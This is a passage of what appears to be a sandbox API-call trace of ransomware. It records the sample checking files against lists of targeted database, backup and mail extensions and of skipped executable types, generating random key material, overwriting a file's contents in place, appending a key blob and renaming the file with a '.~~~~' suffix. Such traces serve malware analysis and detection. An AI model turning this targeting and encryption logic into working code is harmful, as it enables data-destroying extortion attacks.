	[0076.963] lstrlenW (lpString=".DAT") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DAT") returned 0x0
	[0076.963] lstrlenW (lpString=".VHDX") returned 5
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".VHDX") returned 0x0
	[0076.963] lstrlenW (lpString=".ndf") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".ndf") returned 0x0
	[0076.963] lstrlenW (lpString=".DB") returned 3
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DB") returned 0x0
	[0076.963] lstrlenW (lpString=".sql") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".sql") returned 0x0
	[0076.963] lstrlenW (lpString=".MYD") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".MYD") returned 0x0
	[0076.963] lstrlenW (lpString=".DBT") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DBT") returned 0x0
	[0076.963] lstrlenW (lpString=".ACCDB") returned 6
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".ACCDB") returned 0x0
	[0076.964] lstrlenW (lpString=".fdb") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".fdb") returned 0x0
	[0076.964] lstrlenW (lpString=".bak") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".bak") returned 0x0
	[0076.964] lstrlenW (lpString=".myd") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".myd") returned 0x0
	[0076.964] lstrlenW (lpString=".DTXS") returned 5
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DTXS") returned 0x0
	[0076.964] lstrlenW (lpString=".ckp") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".ckp") returned 0x0
	[0076.964] lstrlenW (lpString=".dbt") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dbt") returned 0x0
	[0076.964] lstrlenW (lpString=".db") returned 3
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".db") returned 0x0
	[0076.964] lstrlenW (lpString=".TXT") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".TXT") returned 0x0
	[0076.964] lstrlenW (lpString=".MDF") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".MDF") returned 0x0
	[0076.964] lstrlenW (lpString=".bdb") returned 4
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".bdb") returned 0x0
	[0076.964] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27f3268
	[0076.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.965] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0076.966] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.966] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28041e8
	[0076.966] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19695612071) returned 1
	[0076.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97c6c410, dwHighDateTime=0x1d60e1e)) 
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4a0
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0076.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa658
	[0076.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0076.967] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.967] GetLastError () returned 0x0
	[0076.967] GetLastError () returned 0x0
	[0076.967] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.967] GetLastError () returned 0x0
	[0076.967] GetLastError () returned 0x0
	[0076.968] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.978] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.978] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.980] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.980] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.982] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.982] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.983] CloseHandle (hObject=0x128) returned 1
	[0076.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0076.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.~~~~")) returned 1
	[0076.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0076.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0076.984] GetLastError () returned 0x0
	[0076.985] RtlWakeConditionVariable () returned 0x365f70
	[0076.985] GetCurrentThreadId () returned 0x9f4
	[0076.985] GetCurrentThreadId () returned 0x9f4
	[0076.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0076.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4d8 | out: hHeap=0x300000) returned 1
	[0076.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0076.985] lstrlenW (lpString=".scr") returned 4
	[0076.985] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".scr") returned 0x0
	[0076.986] lstrlenW (lpString=".cmd") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".cmd") returned 0x0
	[0076.986] lstrlenW (lpString=".dll") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".dll") returned=".dll"
	[0076.986] lstrlenW (lpString=".dll") returned 4
	[0076.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0076.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0076.986] RtlWakeConditionVariable () returned 0x365f70
	[0076.986] GetCurrentThreadId () returned 0x9f4
	[0076.986] GetCurrentThreadId () returned 0x9f4
	[0076.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0076.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac510 | out: hHeap=0x300000) returned 1
	[0076.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aac40
	[0076.986] lstrlenW (lpString=".scr") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".scr") returned 0x0
	[0076.986] lstrlenW (lpString=".cmd") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cmd") returned 0x0
	[0076.986] lstrlenW (lpString=".dll") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dll") returned 0x0
	[0076.986] lstrlenW (lpString=".bat") returned 4
	[0076.986] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bat") returned 0x0
	[0076.986] lstrlenW (lpString=".cpl") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cpl") returned 0x0
	[0076.987] lstrlenW (lpString=".sys") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sys") returned 0x0
	[0076.987] lstrlenW (lpString=".msc") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msc") returned 0x0
	[0076.987] lstrlenW (lpString=".com") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".com") returned 0x0
	[0076.987] lstrlenW (lpString=".lnk") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".lnk") returned 0x0
	[0076.987] lstrlenW (lpString=".msp") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msp") returned 0x0
	[0076.987] lstrlenW (lpString=".pif") returned 4
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pif") returned 0x0
	[0076.987] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.987] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.987] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.988] lstrlenW (lpString=".sqb") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sqb") returned 0x0
	[0076.988] lstrlenW (lpString=".ost") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ost") returned 0x0
	[0076.988] lstrlenW (lpString=".txt") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".txt") returned 0x0
	[0076.988] lstrlenW (lpString=".mdt") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdt") returned 0x0
	[0076.988] lstrlenW (lpString=".BDB") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BDB") returned 0x0
	[0076.988] lstrlenW (lpString=".eql") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".eql") returned 0x0
	[0076.988] lstrlenW (lpString=".DBF") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBF") returned 0x0
	[0076.988] lstrlenW (lpString=".EQL") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EQL") returned 0x0
	[0076.988] lstrlenW (lpString=".FDB") returned 4
	[0076.988] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".FDB") returned 0x0
	[0076.989] lstrlenW (lpString=".EDB") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EDB") returned 0x0
	[0076.989] lstrlenW (lpString=".DACPAC") returned 7
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DACPAC") returned 0x0
	[0076.989] lstrlenW (lpString=".VHD") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHD") returned 0x0
	[0076.989] lstrlenW (lpString=".DBV") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBV") returned 0x0
	[0076.989] lstrlenW (lpString=".dacpac") returned 7
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dacpac") returned 0x0
	[0076.989] lstrlenW (lpString=".sdf") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sdf") returned 0x0
	[0076.989] lstrlenW (lpString=".accdb") returned 6
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".accdb") returned 0x0
	[0076.989] lstrlenW (lpString=".DBX") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBX") returned 0x0
	[0076.989] lstrlenW (lpString=".MDT") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDT") returned 0x0
	[0076.989] lstrlenW (lpString=".SQB") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQB") returned 0x0
	[0076.989] lstrlenW (lpString=".vhd") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhd") returned 0x0
	[0076.989] lstrlenW (lpString=".bac") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bac") returned 0x0
	[0076.989] lstrlenW (lpString=".mdf") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdf") returned 0x0
	[0076.989] lstrlenW (lpString=".BAK") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAK") returned 0x0
	[0076.989] lstrlenW (lpString=".BAC") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAC") returned 0x0
	[0076.989] lstrlenW (lpString=".dbs") returned 4
	[0076.989] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbs") returned 0x0
	[0076.990] lstrlenW (lpString=".vhdx") returned 5
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhdx") returned 0x0
	[0076.990] lstrlenW (lpString=".NDF") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".NDF") returned 0x0
	[0076.990] lstrlenW (lpString=".dat") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dat") returned 0x0
	[0076.990] lstrlenW (lpString=".DBS") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBS") returned 0x0
	[0076.990] lstrlenW (lpString=".CKP") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".CKP") returned 0x0
	[0076.990] lstrlenW (lpString=".edb") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".edb") returned 0x0
	[0076.990] lstrlenW (lpString=".PST") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".PST") returned 0x0
	[0076.990] lstrlenW (lpString=".dbf") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbf") returned 0x0
	[0076.990] lstrlenW (lpString=".SQL") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQL") returned 0x0
	[0076.990] lstrlenW (lpString=".pst") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pst") returned 0x0
	[0076.990] lstrlenW (lpString=".dbv") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbv") returned 0x0
	[0076.990] lstrlenW (lpString=".SDF") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SDF") returned 0x0
	[0076.990] lstrlenW (lpString=".dtxs") returned 5
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dtxs") returned 0x0
	[0076.990] lstrlenW (lpString=".db3") returned 4
	[0076.990] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db3") returned 0x0
	[0076.990] lstrlenW (lpString=".OST") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".OST") returned 0x0
	[0076.991] lstrlenW (lpString=".dbx") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbx") returned 0x0
	[0076.991] lstrlenW (lpString=".DB3") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB3") returned 0x0
	[0076.991] lstrlenW (lpString=".DAT") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DAT") returned 0x0
	[0076.991] lstrlenW (lpString=".VHDX") returned 5
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHDX") returned 0x0
	[0076.991] lstrlenW (lpString=".ndf") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ndf") returned 0x0
	[0076.991] lstrlenW (lpString=".DB") returned 3
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB") returned 0x0
	[0076.991] lstrlenW (lpString=".sql") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sql") returned 0x0
	[0076.991] lstrlenW (lpString=".MYD") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MYD") returned 0x0
	[0076.991] lstrlenW (lpString=".DBT") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBT") returned 0x0
	[0076.991] lstrlenW (lpString=".ACCDB") returned 6
